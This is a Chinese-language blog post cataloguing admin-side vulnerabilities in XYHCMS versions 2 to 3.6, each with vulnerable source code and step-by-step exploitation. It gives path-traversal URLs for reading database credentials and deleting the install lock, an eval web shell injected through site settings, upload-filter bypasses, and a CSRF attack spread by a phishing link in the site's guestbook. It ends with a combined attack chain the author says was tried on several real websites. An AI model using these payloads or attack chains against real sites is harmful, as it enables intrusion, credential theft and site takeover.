路漫漫其修远兮,吾将上下而求索

0%

xyhcms漏洞整理

涉及版本

  • v3.5
  • v3.6
  • v2

任意文件读取(后台)

  • 漏洞文件位置

    /App/Manage/Controller/TempletsController.class.php 第59-83行:

  • 漏洞原因

    没有对传入的fname参数进行过滤

  • 漏洞代码

    1
    public function edit() {
    2
    	$ftype = I('ftype', 0, 'intval');
    3
    	$fname = I('fname', '', 'trim,htmlspecialchars');
    4
    	$file_path = !$ftype ? './Public/Home/' . C('CFG_THEMESTYLE') . '/' : './Public/Mobile/' . C('CFG_MOBILE_THEMESTYLE') . '/';
    5
    	if (IS_POST) {
    6
    		if (empty($fname)) {
    7
    			$this->error('未指定文件名');
    8
    		}
    9
    		$_ext = '.' . pathinfo($fname, PATHINFO_EXTENSION);
    10
    		$_cfg_ext = C('TMPL_TEMPLATE_SUFFIX');
    11
    		if ($_ext != $_cfg_ext) {
    12
    			$this->error('文件后缀必须为"' . $_cfg_ext . '"');
    13
    		}
    14
      
    15
    		$content = I('content', '', '');
    16
    		$fname = ltrim($fname, './');
    17
      
    18
    		$truefile = $file_path . $fname;
    19
    		if (false !== strpos($fname, '/') || false !== strpos($fname, '\\')) {
    20
    			$this->error('文件名不允许包含非法字符,如\/');
    21
    		}
    22
    		//<script\s+language[\s=]+["\']*php["\']*[^>]*?\>.*?<\/script>
    23
    		$preg_param = '/<script\s+language[\s=]+["\']*php["\']*[^>]*?\>/is';
    24
    		if (stripos($content, '<?php') !== false || preg_match($preg_param, $content)) {
    25
    			$this->error('模板内容禁止包含php代码!');
    26
    		}
    27
      
    28
    		if (false !== file_put_contents($truefile, $content)) {
    29
    			$this->success('保存成功', U('index', array('ftype' => $ftype)));
    30
    		} else {
    31
    			$this->error('保存文件失败,请重试');
    32
    		}
    33
      
    34
    		exit();
    35
    	}
    36
    	
    37
    	$fname = base64_decode($fname);
    38
    	var_dump($fname);
    39
    	//exit();
    40
    	if (empty($fname)) {
    41
    		$this->error('未指定要编辑的文件');
    42
    	}
    43
    	
    44
    	$truefile = $file_path . $fname;
    45
      
    46
    	if (!file_exists($truefile)) {
    47
    		$this->error('文件不存在');
    48
    	}
    49
    	$content = file_get_contents($truefile);
    50
    	if ($content === false) {
    51
    		$this->error('读取文件失败');
    52
    	}
    53
    	$content = htmlspecialchars($content);
    54
      
    55
    	$this->assign('ftype', $ftype);
    56
    	$this->assign('fname', $fname);
    57
    	$this->assign('content', $content);
    58
    	$this->assign('type', '修改模板');
    59
    	$this->display();
    60
      
    61
    }
  • 漏洞利用

    1. 数据库配置文件路径:\App\Common\Conf\db.php
    2. 组成相对路径 ..\\..\\..\\App\\Common\\Conf\\db.php
    3. base64编码,Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
    4. 最后构造的链接形式如下:http://127.0.0.1/xyhai.php?s=/Templets/edit/fname/Li5cXC4uXFwuLlxcQXBwXFxDb21tb25cXENvbmZcXGRiLnBocA==
  • 实际利用

    下载v3.5,发现代码已经做了过滤

    1
    if (false !== strpos($fname, '/') || false !== strpos($fname, '\\')) {
    2
    				$this->error('文件名不允许包含非法字符,如\/');
    3
    			}

文件写入导致代码执行漏洞(后台)

  • 漏洞文件位置

    /App/Manage/Controller/SystemController.class.php

  • 漏洞原因

    对写入文件的内容过滤不严

  • 漏洞代码

    1
    public function site() {
    2
    		if (IS_POST) {
    3
    4
    			$data = I('config', array(), 'trim');
    5
    			//<script\s+language[\s=]+["\']*php["\']*[^>]*?\>.*?<\/script>
    6
    			$preg_param = '/<script\s+language[\s=]+["\']*php["\']*[^>]*?\>/is';
    7
    			foreach ($data as $key => $val) {
    8
    				if (stripos($val, '<?php') !== false) {
    9
    					$data[$key] = preg_replace('/<\?php(.+?)\?>/i', '', $val);
    10
    				}
    11
    ————————————————————————————————————————————————————————————————————————————
    12
    				if (stripos($val, '<script') !== false && stripos($val, 'php') !== false) {
    13
    					$data[$key] = preg_replace('/<script\s+language[\s=]+["\']*php["\']*[^>]*?\>.*?<\/script>/i', '', $val);
    14
    				}
    15
    16
    				if (stripos($data[$key], '<?php') !== false || preg_match($preg_param, $data[$key])) {
    17
    					$this->error('禁止输入php代码');
    18
    				}
    19
    20
    			}
    21
    			————————————————————————————————————————————————————————————————————————————
  • 漏洞利用

    1. 进入后台

    2. 系统设置->网站设置->会员配置->禁止使用的名称

      xyhcms

      1
      <?eval($_POST['cmd'])?>
    3. 访问漏洞文件,蚁剑连接

      http://localhost/App/Runtime/Data/config/site.php

      POST数据:cmd=phpinfo();

  • 实际利用

    v3.6也存在

文件写入导致代码执行漏洞2(后台)

  • 漏洞原因

    过滤不严

  • 漏洞利用

    1. 进入后台

    2. 系统设置->网站设置找个任意的配置

    3. 在输入框内都填

      <?php phpinfo()?>

    4. 访问漏洞文件

      http://localhost/App/Runtime/Data/config/site.php

    5. 此漏洞在最新版的v3.6也存在

  • 实际利用

    v3.5,v3.6都利用成功

文件上传漏洞(后台&配置了.htaccess)

  • 漏洞文件位置

    /App/Manage/Controller/SystemController.class.php Line 246-255

  • 漏洞原因

    对后缀过滤不严,未过滤php3-5,phtml(老版本直接未过滤php)

  • 漏洞代码

    在site方法中

    1
    if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {
    2
    				$data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);
    3
    				$_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);
    4
    				$_no_exts = array('php', 'asp', 'aspx', 'jsp');
    5
    				foreach ($_file_exts as $ext) {
    6
    					if (in_array($ext, $_no_exts)) {
    7
    						$this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');
    8
    					}
    9
    				}
    10
    			}
  • 漏洞利用

    1. 进入后台

    2. 系统设置->网站设置->上传配置->允许附件类型

    3. 添加类型 php3php4php5phtml

    4. 点击下面的 水印图片上传上传以上后缀shell,此时点不点提交都已经传入服务器

    5. 之后会在图片部分显示上传路径

      image2

    6. 访问连接即可,只有网站配置了.htaccess自动解析php3-5与phtml的才能解析。

  • 实际利用

    上传成功,但是不解析shell

    V3.6也存在此漏洞

    默认不解析php3-5,除非遇到个别的站

文件上传漏洞2(后台&windows)

  • 漏洞文件位置

    /App/Manage/Controller/SystemController.class.php

  • 漏洞原因

    windows系统特性,windows会将 ::$DATA忽略

  • 漏洞代码

    1
    if (!empty($data['CFG_UPLOAD_FILE_EXT'])) {
    2
    				$data['CFG_UPLOAD_FILE_EXT'] = strtolower($data['CFG_UPLOAD_FILE_EXT']);
    3
    				$_file_exts = explode(',', $data['CFG_UPLOAD_FILE_EXT']);
    4
    				$_no_exts = array('php', 'asp', 'aspx', 'jsp');
    5
    				foreach ($_file_exts as $ext) {
    6
    					if (in_array($ext, $_no_exts)) {
    7
    						$this->error('允许附件类型错误!不允许后缀为:php,asp,aspx,jsp!');
    8
    					}
    9
    				}
    10
    			}
  • 漏洞利用

    1. 进入后台
    2. 系统设置->网站设置->上传配置->允许附件类型
    3. 添加类型 shell.php::$DATA
    4. 点击下面的 水印图片上传上传以上后缀shell,此时点不点提交都已经传入服务器
    5. 之后会在图片部分显示上传路径,在windows下面,会自动忽略后面的。
    6. 用蚁剑访问 http://domain/路径去掉::$DATA

任意文件删除漏洞(后台)

  • 漏洞文件位置

    /App/Manage/Controller/DatabaseController.class.php

  • 漏洞原因

    路径过滤不严

  • 漏洞代码

    1
    //删除sql文件
    2
    public function delSqlFiles() {
    3
      
    4
    	$id = I('id', 0, 'intval');
    5
    	$batchFlag = I('get.batchFlag', 0, 'intval');
    6
    	//批量删除
    7
    	if ($batchFlag) {
    8
    		$files = I('key', array());
    9
    	} else {
    10
    		$files[] = I('sqlfilename', '');
    11
    	}
    12
      
    13
    	if (empty($files)) {
    14
    		$this->error('请选择要删除的sql文件');
    15
    	}
    16
    	foreach ($files as $file) {
    17
    		$_ext = pathinfo($file, PATHINFO_EXTENSION);
    18
    		//拼接后直接删除
    19
      
    20
    	foreach ($files as $file) {
    21
    		unlink($this->getDbPath() . '/' . $file);
    22
    	}
    23
    	$this->success("已删除:" . implode(",", $files), U('Database/restore'));
    24
      
    25
    }

    删除的文件位置

    1
    public function getDbPath() {
    2
    		return './Data/resource/backupdata';
    3
    	}
  • 漏洞利用

    1. 登录后台

    2. 删除安装锁文件

      1. get方式

        http://domain/xyhai.php? s=/Database/delSqlFiles/sqlfilename/..\\..\\..\\install/install.lock

      2. post方式

        http://domain/xyhai.php?s=/Database/delSqlFiles/batchFlag/1

        POST数据:key[]=../../../install/install.lock

    3. 之后访问 http://domain/install重装cms

  • 实际利用

    在官网发布的v3.5版本已经做了过滤

    1
    if (false !== strpos($file, '../') || false !== strpos($file, '..\\') || $_ext != 'sql') {
    2
    				$this->error('删除失败:sql文件非法!');
    3
    			}

    所以之后下载的没这个漏洞了,之前下载才有这个漏洞。

任意文件下载(后台)

  • 漏洞文件位置

    /App/Manage/Controller/DatabaseController.class.phpdownfile()方法

  • 漏洞原因

    没有对下载的文件做任何限制

  • 漏洞代码

    1
    public function downFile() {  
    2
        if (empty($_GET['file']) || empty($_GET['type']) || !in_array($_GET['type'], array("zip", "sql"))) {  
    3
            $this->error("下载地址不存在");  
    4
        }  
    5
        $path     = array("zip" => $this->getDbPath() . "Zip/", "sql" => $this->getDbPath() . '/');  
    6
        $filePath = $path[$_GET['type']] . $_GET['file'];  
    7
        if (!file_exists($filePath)) {  
    8
            $this->error("该文件不存在,可能是被删除");  
    9
        }  
    10
         $filename = basename($filePath);  
    11
         header("Content-type: application/octet-stream");  
    12
         header('Content-Disposition: attachment; filename="' . $filename . '"');  
    13
         header("Content-Length: " . filesize($filePath));  
    14
         readfile($filePath);  
    15
     }
  • 漏洞利用

    1. 登录后台
    2. 访问http://domain/xyhai.php?s=/Database/downFile/file/..\\..\\..\\App\\Common\\Conf\\db.php/type/zip
    3. 下载到数据库配置文件
  • 实际利用

    在v3.5版本中,/App/Manage/Controller/DatabaseController.class.php文件的最后更改时间为 2019/9/16,洞被补上了,downfile方法直接被删除了。

CSRF漏洞

  • 漏洞文件位置

    App/Manager/Controller/AuthController.class.php

  • 漏洞原因

    验证不严,在别人报送漏洞后,虽然加了一个验证,但是可以绕过。

  • 漏洞代码

    `public function addUser() {

    if (IS_POST) {
        //用户组
        $group_id   = I('group_id', array());
        $department = I('department', array());
        $_furl      = $_SERVER['HTTP_REFERER'];
        $_turl      = '://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI'];     //HTTP_HOST有端口会带端口
              //在这里验证了refere头,但是可以referre可由我们控制
    
              if (stripos($_furl, $_turl) === false) {
                  $this->error('非法请求!');
              }
              if (empty($department)) {
                  $this->error('请选择部门');
              }
              if (empty($group_id)) {
                  $this->error('请选择职位');
              }
    
              //M验证
              $validate = array(
                  array('username', 'require', '用户名不能为空!'),
                  array('password', 'require', '密码不能为空!'),
                  array('password', '5,20', '密码必须在5到20位之间', 0, 'length'),
                  array('username', '', '用户名已经存在!', 0, 'unique', 1),
              );
              $data = M('Admin');
              if (!$data->validate($validate)->create()) {
                  $this->error($data->getError());
              }
              $password         = get_password($data->password);
              $data->password   = $password['password'];
              $data->encrypt    = $password['encrypt'];
              $data->status     = I('status', 0, 'intval');
              $data->department = implode(',', $department);
              $data->login_time = date('Y-m-d H:i:s');
              $data->login_ip   = '';
    
              if ($id = $data->add()) {
                  $group_data = array();
                  foreach ($group_id as $key => $val) {
                      $group_data[] = array('uid' => $id, 'group_id' => $val);
                  }
    
                  $result = M('AuthGroupAccess')->addAll($group_data);
                  if ($result) {
                      $this->success('添加成功', U('indexOfUser'));
                  } else {
                      $this->error('权限设置失败|用户添加成功');
                  }
    
              } else {
    
                  $this->error('添加失败');
              }
    
              exit();
          }
  • 漏洞利用

    1. 在自己服务器构造html代码,要绕过referer,以前写过类似的文章
    2. 生成短链接
    3. 到网站留言,等鱼儿上钩。
    4. 等添加后登录即可
  • 实际利用

    v2 ,v3.6也存在

    v2版本url http://domain/index.php?g=Manage&m=Rbac&a=addUser

综合利用

  1. 先尝试弱口令

  2. 再尝试csrf拿到管理员权限

  3. 拿到后台随便搞

  4. 心中默念安全法

经过几个网站测试,发现后台xyhai.php文件可能会被改,可以尝试admin.php